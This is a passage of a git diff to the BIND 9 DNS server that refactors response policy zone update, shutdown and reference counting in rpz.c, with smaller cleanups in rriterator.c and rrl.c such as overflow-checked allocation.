+	REQUIRE(DNS_RPZ_ZONE_VALID(rpz));
 	REQUIRE(DNS_DB_VALID(rpz->db));
 	REQUIRE(rpz->updb == NULL);
 	REQUIRE(rpz->updbversion == NULL);
-	REQUIRE(rpz->updbit == NULL);
-	REQUIRE(rpz->newnodes == NULL);
 
-	isc_refcount_increment(&rpz->refs);
+	LOCK(&rpz->rpzs->maint_lock);
+
+	if (rpz->rpzs->shuttingdown) {
+		goto unlock;
+	}
+
+	rpz->updatepending = false;
+	rpz->updaterunning = true;
+	rpz->updateresult = ISC_R_UNSET;
+
 	dns_db_attach(rpz->db, &rpz->updb);
+	INSIST(rpz->dbversion != NULL);
 	rpz->updbversion = rpz->dbversion;
 	rpz->dbversion = NULL;
 
-	result = setup_update(rpz);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	dns_name_format(&rpz->origin, domain, DNS_NAME_FORMATSIZE);
+	isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_MASTER,
+		      ISC_LOG_INFO, "rpz: %s: reload start", domain);
 
-	event = &rpz->updateevent;
-	INSIST(!ISC_LINK_LINKED(&rpz->updateevent, ev_link));
-	ISC_EVENT_INIT(&rpz->updateevent, sizeof(rpz->updateevent), 0, NULL,
-		       DNS_EVENT_RPZUPDATED, update_quantum, rpz, rpz, NULL,
-		       NULL);
-	isc_task_send(rpz->rpzs->updater, &event);
-	return;
+	dns_rpz_ref_rpzs(rpz->rpzs);
+	isc_work_enqueue(rpz->loop, update_rpz_cb, update_rpz_done_cb, rpz);
 
-cleanup:
-	if (rpz->updbit != NULL) {
-		dns_dbiterator_destroy(&rpz->updbit);
-	}
-	if (rpz->newnodes != NULL) {
-		isc_ht_destroy(&rpz->newnodes);
-	}
-	dns_db_closeversion(rpz->updb, &rpz->updbversion, false);
-	dns_db_detach(&rpz->updb);
-	rpz_detach(&rpz);
+	isc_timer_destroy(&rpz->updatetimer);
+	rpz->loop = NULL;
+
+	rpz->lastupdated = isc_time_now();
+unlock:
+	UNLOCK(&rpz->rpzs->maint_lock);
 }
 
 /*
@@ -2142,7 +1991,7 @@ dns_rpz_update_from_db(dns_rpz_zone_t *rpz) {
  */
 static void
 cidr_free(dns_rpz_zones_t *rpzs) {
-	dns_rpz_cidr_node_t *cur, *child, *parent;
+	dns_rpz_cidr_node_t *cur = NULL, *child = NULL, *parent = NULL;
 
 	cur = rpzs->cidr;
 	while (cur != NULL) {
@@ -2170,192 +2019,151 @@ cidr_free(dns_rpz_zones_t *rpzs) {
 	}
 }
 
-/*
- * Discard a response policy zone blob
- * before discarding the overall rpz structure.
- */
 static void
-rpz_detach(dns_rpz_zone_t **rpzp) {
-	dns_rpz_zone_t *rpz;
-	dns_rpz_zones_t *rpzs;
+dns__rpz_shutdown(dns_rpz_zone_t *rpz) {
+	/* maint_lock must be locked */
+	if (rpz->updatetimer != NULL) {
+		/* Don't wait for timer to trigger for shutdown */
+		INSIST(rpz->loop != NULL);
 
-	REQUIRE(rpzp != NULL && *rpzp != NULL);
+		dns_rpz_ref_rpzs(rpz->rpzs);
+		isc_async_run(rpz->loop, dns__rpz_timer_stop, rpz);
+	}
+}
+
+static void
+dns_rpz_zone_destroy(dns_rpz_zone_t **rpzp) {
+	dns_rpz_zone_t *rpz = NULL;
+	dns_rpz_zones_t *rpzs;
 
 	rpz = *rpzp;
 	*rpzp = NULL;
 
-	if (isc_refcount_decrement(&rpz->refs) == 1) {
-		isc_refcount_destroy(&rpz->refs);
-
-		rpzs = rpz->rpzs;
-		rpz->rpzs = NULL;
+	rpzs = rpz->rpzs;
+	rpz->rpzs = NULL;
 
-		if (dns_name_dynamic(&rpz->origin)) {
-			dns_name_free(&rpz->origin, rpzs->mctx);
-		}
-		if (dns_name_dynamic(&rpz->client_ip)) {
-			dns_name_free(&rpz->client_ip, rpzs->mctx);
-		}
-		if (dns_name_dynamic(&rpz->ip)) {
-			dns_name_free(&rpz->ip, rpzs->mctx);
-		}
-		if (dns_name_dynamic(&rpz->nsdname)) {
-			dns_name_free(&rpz->nsdname, rpzs->mctx);
-		}
-		if (dns_name_dynamic(&rpz->nsip)) {
-			dns_name_free(&rpz->nsip, rpzs->mctx);
-		}
-		if (dns_name_dynamic(&rpz->passthru)) {
-			dns_name_free(&rpz->passthru, rpzs->mctx);
-		}
-		if (dns_name_dynamic(&rpz->drop)) {
-			dns_name_free(&rpz->drop, rpzs->mctx);
-		}
-		if (dns_name_dynamic(&rpz->tcp_only)) {
-			dns_name_free(&rpz->tcp_only, rpzs->mctx);
-		}
-		if (dns_name_dynamic(&rpz->cname)) {
-			dns_name_free(&rpz->cname, rpzs->mctx);
-		}
-		if (rpz->db != NULL) {
-			if (rpz->dbversion != NULL) {
-				dns_db_closeversion(rpz->db, &rpz->dbversion,
-						    false);
-			}
-			dns_db_updatenotify_unregister(
-				rpz->db, dns_rpz_dbupdate_callback, rpz);
-			dns_db_detach(&rpz->db);
-		}
-		if (rpz->updaterunning) {
-			isc_task_purgeevent(rpzs->updater, &rpz->updateevent);
-			if (rpz->updbit != NULL) {
-				dns_dbiterator_destroy(&rpz->updbit);
-			}
-			if (rpz->newnodes != NULL) {
-				isc_ht_destroy(&rpz->newnodes);
-			}
-			if (rpz->updb != NULL) {
-				if (rpz->updbversion != NULL) {
-					dns_db_closeversion(rpz->updb,
-							    &rpz->updbversion,
-							    false);
-				}
-				dns_db_detach(&rpz->updb);
-			}
+	if (dns_name_dynamic(&rpz->origin)) {
+		dns_name_free(&rpz->origin, rpzs->mctx);
+	}
+	if (dns_name_dynamic(&rpz->client_ip)) {
+		dns_name_free(&rpz->client_ip, rpzs->mctx);
+	}
+	if (dns_name_dynamic(&rpz->ip)) {
+		dns_name_free(&rpz->ip, rpzs->mctx);
+	}
+	if (dns_name_dynamic(&rpz->nsdname)) {
+		dns_name_free(&rpz->nsdname, rpzs->mctx);
+	}
+	if (dns_name_dynamic(&rpz->nsip)) {
+		dns_name_free(&rpz->nsip, rpzs->mctx);
+	}
+	if (dns_name_dynamic(&rpz->passthru)) {
+		dns_name_free(&rpz->passthru, rpzs->mctx);
+	}
+	if (dns_name_dynamic(&rpz->drop)) {
+		dns_name_free(&rpz->drop, rpzs->mctx);
+	}
+	if (dns_name_dynamic(&rpz->tcp_only)) {
+		dns_name_free(&rpz->tcp_only, rpzs->mctx);
+	}
+	if (dns_name_dynamic(&rpz->cname)) {
+		dns_name_free(&rpz->cname, rpzs->mctx);
+	}
+	if (rpz->db != NULL) {
+		if (rpz->dbversion != NULL) {
+			dns_db_closeversion(rpz->db, &rpz->dbversion, false);
 		}
+		dns_db_updatenotify_unregister(rpz->db,
+					       dns_rpz_dbupdate_callback, rpz);
+		dns_db_detach(&rpz->db);
+	}
+	INSIST(!rpz->updaterunning);
 
-		isc_timer_reset(rpz->updatetimer, isc_timertype_inactive, NULL,
-				NULL, true);
-		isc_timer_detach(&rpz->updatetimer);
-
-		isc_ht_destroy(&rpz->nodes);
+	isc_ht_destroy(&rpz->nodes);
 
-		isc_mem_put(rpzs->mctx, rpz, sizeof(*rpz));
-		rpz_detach_rpzs(&rpzs);
-	}
+	isc_mem_put(rpzs->mctx, rpz, sizeof(*rpz));
 }
 
-void
-dns_rpz_attach_rpzs(dns_rpz_zones_t *rpzs, dns_rpz_zones_t **rpzsp) {
-	REQUIRE(rpzsp != NULL && *rpzsp == NULL);
-	isc_refcount_increment(&rpzs->refs);
-	*rpzsp = rpzs;
-}
+static void
+dns__rpz_zones_destroy(dns_rpz_zones_t *rpzs) {
+	REQUIRE(rpzs->shuttingdown);
 
-/*
- * Forget a view's policy zones.
- */
-void
-dns_rpz_detach_rpzs(dns_rpz_zones_t **rpzsp) {
-	REQUIRE(rpzsp != NULL && *rpzsp != NULL);
-	dns_rpz_zones_t *rpzs = *rpzsp;
-	*rpzsp = NULL;
+	isc_refcount_destroy(&rpzs->references);
 
-	if (isc_refcount_decrement(&rpzs->refs) == 1) {
-		LOCK(&rpzs->maint_lock);
-		/*
-		 * Forget the last of view's rpz machinery after
-		 * the last reference.
-		 */
-		for (dns_rpz_num_t rpz_num = 0; rpz_num < DNS_RPZ_MAX_ZONES;
-		     ++rpz_num) {
-			dns_rpz_zone_t *rpz = rpzs->zones[rpz_num];
-			rpzs->zones[rpz_num] = NULL;
-			if (rpz != NULL) {
-				rpz_detach(&rpz);
-			}
+	for (dns_rpz_num_t rpz_num = 0; rpz_num < DNS_RPZ_MAX_ZONES; ++rpz_num)
+	{
+		if (rpzs->zones[rpz_num] == NULL) {
+			continue;
 		}
-		UNLOCK(&rpzs->maint_lock);
-		rpz_detach_rpzs(&rpzs);
-	}
-}
 
-static void
-rpz_detach_rpzs(dns_rpz_zones_t **rpzsp) {
-	REQUIRE(rpzsp != NULL && *rpzsp != NULL);
-	dns_rpz_zones_t *rpzs = *rpzsp;
-	*rpzsp = NULL;
+		dns_rpz_zone_destroy(&rpzs->zones[rpz_num]);
+	}
 
-	if (isc_refcount_decrement(&rpzs->irefs) == 1) {
-		if (rpzs->rps_cstr_size != 0) {
+	if (rpzs->rps_cstr_size != 0) {
 #ifdef USE_DNSRPS
-			librpz->client_detach(&rpzs->rps_client);
+		librpz->client_detach(&rpzs->rps_client);
 #endif /* ifdef USE_DNSRPS */
-			isc_mem_put(rpzs->mctx, rpzs->rps_cstr,
-				    rpzs->rps_cstr_size);
-		}
+		isc_mem_put(rpzs->mctx, rpzs->rps_cstr, rpzs->rps_cstr_size);
+	}
 
-		cidr_free(rpzs);
-		if (rpzs->rbt != NULL) {
-			dns_rbt_destroy(&rpzs->rbt);
-		}
-		isc_task_destroy(&rpzs->updater);
-		isc_mutex_destroy(&rpzs->maint_lock);
-		isc_rwlock_destroy(&rpzs->search_lock);
-		isc_refcount_destroy(&rpzs->refs);
-		isc_mem_putanddetach(&rpzs->mctx, rpzs, sizeof(*rpzs));
+	cidr_free(rpzs);
+	if (rpzs->rbt != NULL) {
+		dns_rbt_destroy(&rpzs->rbt);
 	}
+	isc_mutex_destroy(&rpzs->maint_lock);
+	isc_rwlock_destroy(&rpzs->search_lock);
+	isc_mem_putanddetach(&rpzs->mctx, rpzs, sizeof(*rpzs));
 }
 
-/*
- * Deprecated and removed.
- */
-isc_result_t
-dns_rpz_beginload(dns_rpz_zones_t **load_rpzsp, dns_rpz_zones_t *rpzs,
-		  dns_rpz_num_t rpz_num) {
-	UNUSED(load_rpzsp);
-	UNUSED(rpzs);
-	UNUSED(rpz_num);
+void
+dns_rpz_zones_shutdown(dns_rpz_zones_t *rpzs) {
+	REQUIRE(DNS_RPZ_ZONES_VALID(rpzs));
+	/*
+	 * Forget the last of the view's rpz machinery when shutting down.
+	 */
 
-	return (ISC_R_NOTIMPLEMENTED);
-}
+	LOCK(&rpzs->maint_lock);
+	if (rpzs->shuttingdown) {
+		UNLOCK(&rpzs->maint_lock);
+		return;
+	}
 
-/*
- * Deprecated and removed.
- */
-isc_result_t
-dns_rpz_ready(dns_rpz_zones_t *rpzs, dns_rpz_zones_t **load_rpzsp,
-	      dns_rpz_num_t rpz_num) {
-	UNUSED(rpzs);
-	UNUSED(load_rpzsp);
-	UNUSED(rpz_num);
+	rpzs->shuttingdown = true;
+
+	for (dns_rpz_num_t rpz_num = 0; rpz_num < DNS_RPZ_MAX_ZONES; ++rpz_num)
+	{
+		if (rpzs->zones[rpz_num] == NULL) {
+			continue;
+		}
 
-	return (ISC_R_NOTIMPLEMENTED);
+		dns__rpz_shutdown(rpzs->zones[rpz_num]);
+	}
+	UNLOCK(&rpzs->maint_lock);
 }
 
+#ifdef DNS_RPZ_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_rpz_zones, dns__rpz_zones_destroy);
+#else
+ISC_REFCOUNT_IMPL(dns_rpz_zones, dns__rpz_zones_destroy);
+#endif
+
 /*
  * Add an IP address to the radix tree or a name to the summary database.
  */
-isc_result_t
-dns_rpz_add(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
-	    const dns_name_t *src_name) {
-	dns_rpz_zone_t *rpz;
+static isc_result_t
+rpz_add(dns_rpz_zone_t *rpz, const dns_name_t *src_name) {
 	dns_rpz_type_t rpz_type;
 	isc_result_t result = ISC_R_FAILURE;
+	dns_rpz_zones_t *rpzs = NULL;
+	dns_rpz_num_t rpz_num;
 
-	REQUIRE(rpzs != NULL && rpz_num < rpzs->p.num_zones);
-	rpz = rpzs->zones[rpz_num];
 	REQUIRE(rpz != NULL);
+
+	rpzs = rpz->rpzs;
+	rpz_num = rpz->num;
+
+	REQUIRE(rpzs != NULL && rpz_num < rpzs->p.num_zones);
+
 	RWLOCK(&rpzs->search_lock, isc_rwlocktype_write);
 
 	rpz_type = type_from_name(rpzs, rpz, src_name);
@@ -2363,12 +2171,12 @@ dns_rpz_add(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
 	switch (rpz_type) {
 	case DNS_RPZ_TYPE_QNAME:
 	case DNS_RPZ_TYPE_NSDNAME:
-		result = add_name(rpzs, rpz_num, rpz_type, src_name);
+		result = add_name(rpz, rpz_type, src_name);
 		break;
 	case DNS_RPZ_TYPE_CLIENT_IP:
 	case DNS_RPZ_TYPE_IP:
 	case DNS_RPZ_TYPE_NSIP:
-		result = add_cidr(rpzs, rpz_num, rpz_type, src_name);
+		result = add_cidr(rpz, rpz_type, src_name);
 		break;
 	case DNS_RPZ_TYPE_BAD:
 		break;
@@ -2382,26 +2190,26 @@ dns_rpz_add(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
  * Remove an IP address from the radix tree.
  */
 static void
-del_cidr(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
+del_cidr(dns_rpz_zone_t *rpz, dns_rpz_type_t rpz_type,
 	 const dns_name_t *src_name) {
 	isc_result_t result;
 	dns_rpz_cidr_key_t tgt_ip;
 	dns_rpz_prefix_t tgt_prefix;
 	dns_rpz_addr_zbits_t tgt_set;
-	dns_rpz_cidr_node_t *tgt, *parent, *child;
+	dns_rpz_cidr_node_t *tgt = NULL, *parent = NULL, *child = NULL;
 
 	/*
 	 * Do not worry about invalid rpz IP address names.  If we
 	 * are here, then something relevant was added and so was
 	 * valid.  Invalid names here are usually internal RBTDB nodes.
 	 */
-	result = name2ipkey(DNS_RPZ_DEBUG_QUIET, rpzs, rpz_num, rpz_type,
-			    src_name, &tgt_ip, &tgt_prefix, &tgt_set);
+	result = name2ipkey(DNS_RPZ_DEBUG_QUIET, rpz, rpz_type, src_name,
+			    &tgt_ip, &tgt_prefix, &tgt_set);
 	if (result != ISC_R_SUCCESS) {
 		return;
 	}
 
-	result = search(rpzs, &tgt_ip, tgt_prefix, &tgt_set, false, &tgt);
+	result = search(rpz->rpzs, &tgt_ip, tgt_prefix, &tgt_set, false, &tgt);
 	if (result != ISC_R_SUCCESS) {
 		INSIST(result == ISC_R_NOTFOUND ||
 		       result == DNS_R_PARTIALMATCH);
@@ -2426,7 +2234,7 @@ del_cidr(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
 	tgt->set.nsip &= ~tgt_set.nsip;
 	set_sum_pair(tgt);
 
-	adj_trigger_cnt(rpzs, rpz_num, rpz_type, &tgt_ip, tgt_prefix, false);
+	adj_trigger_cnt(rpz, rpz_type, &tgt_ip, tgt_prefix, false);
 
 	/*
 	 * We might need to delete 2 nodes.
@@ -2434,7 +2242,8 @@ del_cidr(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
 	do {
 		/*
 		 * The node is now useless if it has no data of its own
-		 * and 0 or 1 children.  We are finished if it is not useless.
+		 * and 0 or 1 children.  We are finished if it is not
+		 * useless.
 		 */
 		if ((child = tgt->child[0]) != NULL) {
 			if (tgt->child[1] != NULL) {
@@ -2444,7 +2253,8 @@ del_cidr(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
 			child = tgt->child[1];
 		}
 		if (tgt->set.client_ip != 0 || tgt->set.ip != 0 ||
-		    tgt->set.nsip != 0) {
+		    tgt->set.nsip != 0)
+		{
 			break;
 		}
 
@@ -2454,30 +2264,32 @@ del_cidr(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
 		 */
 		parent = tgt->parent;
 		if (parent == NULL) {
-			rpzs->cidr = child;
+			rpz->rpzs->cidr = child;
 		} else {
 			parent->child[parent->child[1] == tgt] = child;
 		}
+
 		/*
 		 * If the child exists fix up its parent pointer.
 		 */
 		if (child != NULL) {
 			child->parent = parent;
 		}
-		isc_mem_put(rpzs->mctx, tgt, sizeof(*tgt));
+		isc_mem_put(rpz->rpzs->mctx, tgt, sizeof(*tgt));
 
 		tgt = parent;
 	} while (tgt != NULL);
 }
 
 static void
-del_name(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
+del_name(dns_rpz_zone_t *rpz, dns_rpz_type_t rpz_type,
 	 const dns_name_t *src_name) {
 	char namebuf[DNS_NAME_FORMATSIZE];
 	dns_fixedname_t trig_namef;
-	dns_name_t *trig_name;
-	dns_rbtnode_t *nmnode;
-	dns_rpz_nm_data_t *nm_data, del_data;
+	dns_name_t *trig_name = NULL;
+	dns_rbtnode_t *nmnode = NULL;
+	dns_rpz_nm_data_t *nm_data = NULL;
+	dns_rpz_nm_data_t del_data;
 	isc_result_t result;
 	bool exists;
 
@@ -2487,11 +2299,11 @@ del_name(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
 	 */
 
 	trig_name = dns_fixedname_initname(&trig_namef);
-	name2data(rpzs, rpz_num, rpz_type, src_name, trig_name, &del_data);
+	name2data(rpz, rpz_type, src_name, trig_name, &del_data);
 
 	nmnode = NULL;
-	result = dns_rbt_findnode(rpzs->rbt, trig_name, NULL, &nmnode, NULL, 0,
-				  NULL, NULL);
+	result = dns_rbt_findnode(rpz->rpzs->rbt, trig_name, NULL, &nmnode,
+				  NULL, 0, NULL, NULL);
 	if (result != ISC_R_SUCCESS) {
 		/*
 		 * Do not worry about missing summary RBT nodes that probably
@@ -2533,7 +2345,7 @@ del_name(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
 	if (nm_data->set.qname == 0 && nm_data->set.ns == 0 &&
 	    nm_data->wild.qname == 0 && nm_data->wild.ns == 0)
 	{
-		result = dns_rbt_deletenode(rpzs->rbt, nmnode, false);
+		result = dns_rbt_deletenode(rpz->rpzs->rbt, nmnode, false);
 		if (result != ISC_R_SUCCESS) {
 			/*
 			 * bin/tests/system/rpz/tests.sh looks for
@@ -2542,29 +2354,33 @@ del_name(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num, dns_rpz_type_t rpz_type,
 			dns_name_format(src_name, namebuf, sizeof(namebuf));
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_RPZ,
 				      DNS_LOGMODULE_RBTDB, DNS_RPZ_ERROR_LEVEL,
-				      "rpz del_name(%s) node delete failed: %s",
+				      "rpz del_name(%s) node delete "
+				      "failed: %s",
 				      namebuf, isc_result_totext(result));
 		}
 	}
 
 	if (exists) {
-		adj_trigger_cnt(rpzs, rpz_num, rpz_type, NULL, 0, false);
+		adj_trigger_cnt(rpz, rpz_type, NULL, 0, false);
 	}
 }
 
 /*
  * Remove an IP address from the radix tree or a name from the summary database.
  */
-void
-dns_rpz_delete(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
-	       const dns_name_t *src_name) {
-	dns_rpz_zone_t *rpz;
+static void
+rpz_del(dns_rpz_zone_t *rpz, const dns_name_t *src_name) {
 	dns_rpz_type_t rpz_type;
+	dns_rpz_zones_t *rpzs = NULL;
+	dns_rpz_num_t rpz_num;
 
-	REQUIRE(rpzs != NULL && rpz_num < rpzs->p.num_zones);
-	rpz = rpzs->zones[rpz_num];
 	REQUIRE(rpz != NULL);
 
+	rpzs = rpz->rpzs;
+	rpz_num = rpz->num;
+
+	REQUIRE(rpzs != NULL && rpz_num < rpzs->p.num_zones);
+
 	RWLOCK(&rpzs->search_lock, isc_rwlocktype_write);
 
 	rpz_type = type_from_name(rpzs, rpz, src_name);
@@ -2572,12 +2388,12 @@ dns_rpz_delete(dns_rpz_zones_t *rpzs, dns_rpz_num_t rpz_num,
 	switch (rpz_type) {
 	case DNS_RPZ_TYPE_QNAME:
 	case DNS_RPZ_TYPE_NSDNAME:
-		del_name(rpzs, rpz_num, rpz_type, src_name);
+		del_name(rpz, rpz_type, src_name);
 		break;
 	case DNS_RPZ_TYPE_CLIENT_IP:
 	case DNS_RPZ_TYPE_IP:
 	case DNS_RPZ_TYPE_NSIP:
-		del_cidr(rpzs, rpz_num, rpz_type, src_name);
+		del_cidr(rpz, rpz_type, src_name);
 		break;
 	case DNS_RPZ_TYPE_BAD:
 		break;
@@ -2600,7 +2416,7 @@ dns_rpz_find_ip(dns_rpz_zones_t *rpzs, dns_rpz_type_t rpz_type,
 		dns_name_t *ip_name, dns_rpz_prefix_t *prefixp) {
 	dns_rpz_cidr_key_t tgt_ip;
 	dns_rpz_addr_zbits_t tgt_set;
-	dns_rpz_cidr_node_t *found;
+	dns_rpz_cidr_node_t *found = NULL;
 	isc_result_t result;
 	dns_rpz_num_t rpz_num = 0;
 	dns_rpz_have_t have;
@@ -2629,7 +2445,7 @@ dns_rpz_find_ip(dns_rpz_zones_t *rpzs, dns_rpz_type_t rpz_type,
 			zbits &= have.nsipv4;
 			break;
 		default:
-			INSIST(0);
+			UNREACHABLE();
 			break;
 		}
 	} else if (netaddr->family == AF_INET6) {
@@ -2655,7 +2471,7 @@ dns_rpz_find_ip(dns_rpz_zones_t *rpzs, dns_rpz_type_t rpz_type,
 			zbits &= have.nsipv6;
 			break;
 		default:
-			INSIST(0);
+			UNREACHABLE();
 			break;
 		}
 	} else {
@@ -2693,8 +2509,7 @@ dns_rpz_find_ip(dns_rpz_zones_t *rpzs, dns_rpz_type_t rpz_type,
 		rpz_num = zbit_to_num(found->set.nsip & tgt_set.nsip);
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 	result = ip2name(&found->ip, found->prefix, dns_rootname, ip_name);
 	RWUNLOCK(&rpzs->search_lock, isc_rwlocktype_read);
@@ -2719,8 +2534,8 @@ dns_rpz_zbits_t
 dns_rpz_find_name(dns_rpz_zones_t *rpzs, dns_rpz_type_t rpz_type,
 		  dns_rpz_zbits_t zbits, dns_name_t *trig_name) {
 	char namebuf[DNS_NAME_FORMATSIZE];
-	dns_rbtnode_t *nmnode;
-	const dns_rpz_nm_data_t *nm_data;
+	dns_rbtnode_t *nmnode = NULL;
+	const dns_rpz_nm_data_t *nm_data = NULL;
 	dns_rpz_zbits_t found_zbits;
 	dns_rbtnodechain_t chain;
 	isc_result_t result;
@@ -2750,7 +2565,7 @@ dns_rpz_find_name(dns_rpz_zones_t *rpzs, dns_rpz_type_t rpz_type,
 				found_zbits = nm_data->set.ns;
 			}
 		}
-		/* FALLTHROUGH */
+		FALLTHROUGH;
 
 	case DNS_R_PARTIALMATCH:
 		i = chain.level_matches;
diff --git a/lib/dns/rriterator.c b/lib/dns/rriterator.c
index b519b93391..49bcd67ebf 100644
--- a/lib/dns/rriterator.c
+++ b/lib/dns/rriterator.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,6 +19,7 @@
 
 #include <inttypes.h>
 
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
@@ -25,7 +28,6 @@
 #include <dns/rdata.h>
 #include <dns/rdataset.h>
 #include <dns/rdatasetiter.h>
-#include <dns/result.h>
 #include <dns/rriterator.h>
 
 /***
@@ -82,7 +84,7 @@ dns_rriterator_first(dns_rriterator_t *it) {
 			return (it->result);
 		}
 
-		it->result = dns_db_allrdatasets(it->db, it->node, it->ver,
+		it->result = dns_db_allrdatasets(it->db, it->node, it->ver, 0,
 						 it->now, &it->rdatasetit);
 		if (it->result != ISC_R_SUCCESS) {
 			return (it->result);
@@ -136,7 +138,7 @@ dns_rriterator_nextrrset(dns_rriterator_t *it) {
 		if (it->result != ISC_R_SUCCESS) {
 			return (it->result);
 		}
-		it->result = dns_db_allrdatasets(it->db, it->node, it->ver,
+		it->result = dns_db_allrdatasets(it->db, it->node, it->ver, 0,
 						 it->now, &it->rdatasetit);
 		if (it->result != ISC_R_SUCCESS) {
 			return (it->result);
@@ -208,11 +210,7 @@ dns_rriterator_current(dns_rriterator_t *it, dns_name_t **name, uint32_t *ttl,
 	dns_rdata_reset(&it->rdata);
 	dns_rdataset_current(&it->rdataset, &it->rdata);
 
-	if (rdataset != NULL) {
-		*rdataset = &it->rdataset;
-	}
+	SET_IF_NOT_NULL(rdataset, &it->rdataset);
 
-	if (rdata != NULL) {
-		*rdata = &it->rdata;
-	}
+	SET_IF_NOT_NULL(rdata, &it->rdata);
 }
diff --git a/lib/dns/rrl.c b/lib/dns/rrl.c
index 9c009b2fdc..73c7b53ef4 100644
--- a/lib/dns/rrl.c
+++ b/lib/dns/rrl.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -23,16 +25,18 @@
 #include <isc/mem.h>
 #include <isc/net.h>
 #include <isc/netaddr.h>
-#include <isc/print.h>
+#include <isc/overflow.h>
+#include <isc/result.h>
 #include <isc/util.h>
 
 #include <dns/log.h>
+#include <dns/name.h>
 #include <dns/rcode.h>
 #include <dns/rdataclass.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/rrl.h>
 #include <dns/view.h>
+#include <dns/zone.h>
 
 static void
 log_end(dns_rrl_t *rrl, dns_rrl_entry_t *e, bool early, char *log_buf,
@@ -133,7 +137,7 @@ hash_divisor(unsigned int initial) {
 /*
  * Convert a timestamp to a number of seconds in the past.
  */
-static inline int
+static int
 delta_rrl_time(isc_stdtime_t ts, isc_stdtime_t now) {
 	int delta;
 
@@ -155,7 +159,7 @@ delta_rrl_time(isc_stdtime_t ts, isc_stdtime_t now) {
 	return (0);
 }
 
-static inline int
+static int
 get_age(const dns_rrl_t *rrl, const dns_rrl_entry_t *e, isc_stdtime_t now) {
 	if (!e->ts_valid) {
 		return (DNS_RRL_FOREVER);
@@ -163,7 +167,7 @@ get_age(const dns_rrl_t *rrl, const dns_rrl_entry_t *e, isc_stdtime_t now) {
 	return (delta_rrl_time(e->ts + rrl->ts_bases[e->ts_gen], now));
 }
 
-static inline void
+static void
 set_age(dns_rrl_t *rrl, dns_rrl_entry_t *e, isc_stdtime_t now) {
 	dns_rrl_entry_t *e_old;
 	unsigned int ts_gen;
@@ -230,7 +234,8 @@ expand_entries(dns_rrl_t *rrl, int newsize) {
 	int i;
 
 	if (rrl->num_entries + newsize >= rrl->max_entries &&
-	    rrl->max_entries != 0) {
+	    rrl->max_entries != 0)
+	{
 		newsize = rrl->max_entries - rrl->num_entries;
 		if (newsize <= 0) {
 			return (ISC_R_SUCCESS);
@@ -255,9 +260,8 @@ expand_entries(dns_rrl_t *rrl, int newsize) {
 	}
 
 	bsize = sizeof(dns_rrl_block_t) +
-		(newsize - 1) * sizeof(dns_rrl_entry_t);
-	b = isc_mem_get(rrl->mctx, bsize);
-	memset(b, 0, bsize);
+		ISC_CHECKED_MUL((newsize - 1), sizeof(dns_rrl_entry_t));
+	b = isc_mem_cget(rrl->mctx, 1, bsize);
 	b->size = bsize;
 
 	e = b->entries;
@@ -271,7 +275,7 @@ expand_entries(dns_rrl_t *rrl, int newsize) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline dns_rrl_bin_t *
+static dns_rrl_bin_t *
 get_bin(dns_rrl_hash_t *hash, unsigned int hval) {
 	INSIST(hash != NULL);
 	return (&hash->bins[hval % hash->length]);
@@ -295,7 +299,8 @@ free_old_hash(dns_rrl_t *rrl) {
 
 	isc_mem_put(rrl->mctx, old_hash,
 		    sizeof(*old_hash) +
-			    (old_hash->length - 1) * sizeof(old_hash->bins[0]));
+			    ISC_CHECKED_MUL((old_hash->length - 1),
+					    sizeof(old_hash->bins[0])));
 	rrl->old_hash = NULL;
 }
 
@@ -320,9 +325,9 @@ expand_rrl_hash(dns_rrl_t *rrl, isc_stdtime_t now) {
 	}
 	new_bins = hash_divisor(new_bins);
 
-	hsize = sizeof(dns_rrl_hash_t) + (new_bins - 1) * sizeof(hash->bins[0]);
-	hash = isc_mem_get(rrl->mctx, hsize);
-	memset(hash, 0, hsize);
+	hsize = sizeof(dns_rrl_hash_t) +
+		ISC_CHECKED_MUL((new_bins - 1), sizeof(hash->bins[0]));
+	hash = isc_mem_cget(rrl->mctx, 1, hsize);
 	hash->length = new_bins;
 	rrl->hash_gen ^= 1;
 	hash->gen = rrl->hash_gen;
@@ -370,7 +375,8 @@ ref_entry(dns_rrl_t *rrl, dns_rrl_entry_t *e, int probes, isc_stdtime_t now) {
 	rrl->probes += probes;
 	++rrl->searches;
 	if (rrl->searches > 100 &&
-	    delta_rrl_time(rrl->hash->check_time, now) > 1) {
+	    delta_rrl_time(rrl->hash->check_time, now) > 1)
+	{
